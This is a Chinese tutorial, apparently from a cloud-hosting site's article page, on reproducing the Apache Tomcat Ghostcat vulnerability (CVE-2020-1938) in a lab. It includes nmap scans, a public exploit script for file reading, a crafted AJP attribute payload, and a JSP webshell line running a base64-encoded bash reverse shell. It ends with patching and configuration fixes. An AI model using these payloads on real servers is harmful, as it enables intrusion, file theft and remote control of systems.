您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# 如何进行Apache Tomcat远程代码执行漏洞CVE-2020-1938复现
## 一、漏洞概述
### 1.1 漏洞背景
CVE-2020-1938(又称Ghostcat漏洞)是Apache Tomcat服务器中存在的一个高危漏洞,由长亭科技安全研究员于2020年2月披露。该漏洞影响Tomcat AJP协议(Apache JServ Protocol)实现,攻击者可通过构造恶意请求实现任意文件读取或远程代码执行。
### 1.2 影响版本
- Apache Tomcat 6.x
- Apache Tomcat 7.x < 7.0.100
- Apache Tomcat 8.x < 8.5.51
- Apache Tomcat 9.x < 9.0.31
### 1.3 漏洞原理
漏洞源于Tomcat默认开启的AJP协议(端口8009)未对请求进行充分安全校验:
1. 攻击者可向AJP服务发送特制请求
2. 通过`javax.servlet.include`等参数实现文件路径穿越
3. 最终导致Web应用目录下的文件被读取或JSP文件被解析执行
## 二、环境搭建
### 2.1 实验环境要求
- 虚拟机:VMware Workstation 16+
- 操作系统:Kali Linux 2023(攻击机) + CentOS 7(靶机)
- 软件版本:Apache Tomcat 9.0.30(存在漏洞版本)
### 2.2 靶机环境配置
```bash
# 下载存在漏洞的Tomcat版本
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.30/bin/apache-tomcat-9.0.30.tar.gz
# 解压并启动
tar zxvf apache-tomcat-9.0.30.tar.gz
cd apache-tomcat-9.0.30/bin
./startup.sh
# 验证服务运行
netstat -antp | grep java # 应显示8009(AJP)和8080(HTTP)端口开放
使用Nmap扫描目标服务:
nmap -sV -p 8009,8080 192.168.1.100
预期输出应包含:
8009/tcp open ajp13 Apache Jserv Protocol 1.3
8080/tcp open http Apache Tomcat 9.0.30
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
python CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 192.168.1.100
输入文件路径(如/WEB-INF/web.xml
)可读取敏感配置信息。
使用Burp Suite抓包工具: 1. 新建AJP协议请求(需安装AJP插件) 2. 构造包含恶意属性的请求:
{
"attributes": [
{"name": "req_attribute","value": "javax.servlet.include.request_uri"},
{"name": "req_attribute","value": "/"},
{"name": "req_attribute","value": "javax.servlet.include.path_info"},
{"name": "req_attribute","value": "WEB-INF/web.xml"},
{"name": "req_attribute","value": "javax.servlet.include.servlet_path"}
]
}
当服务器存在文件上传功能时,可结合文件上传实现RCE:
<% Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}"); %>
python exploit.py -p 8009 -f /uploads/shell.jsp 192.168.1.100
<!-- conf/server.xml -->
<!-- 注释以下行 -->
<!-- <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" /> -->
<Connector port="8009" protocol="AJP/1.3" secretRequired="true" secret="your_secure_password" />
升级到安全版本: - Tomcat 7.x → 7.0.100+ - Tomcat 8.x → 8.5.51+ - Tomcat 9.x → 9.0.31+
AjpProcessor#prepareRequest
方法未对请求属性做严格过滤org.apache.coyote.ajp.AbstractAjpProcessor
类中:
// 未校验的请求属性处理
if (request.getAttribute(attribute) == null) {
request.setAttribute(attribute, value);
}
注:实际复现时请确保:
1. 在隔离的测试环境中操作
2. 不使用真实的敏感数据
3. 遵守当地网络安全法律法规
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。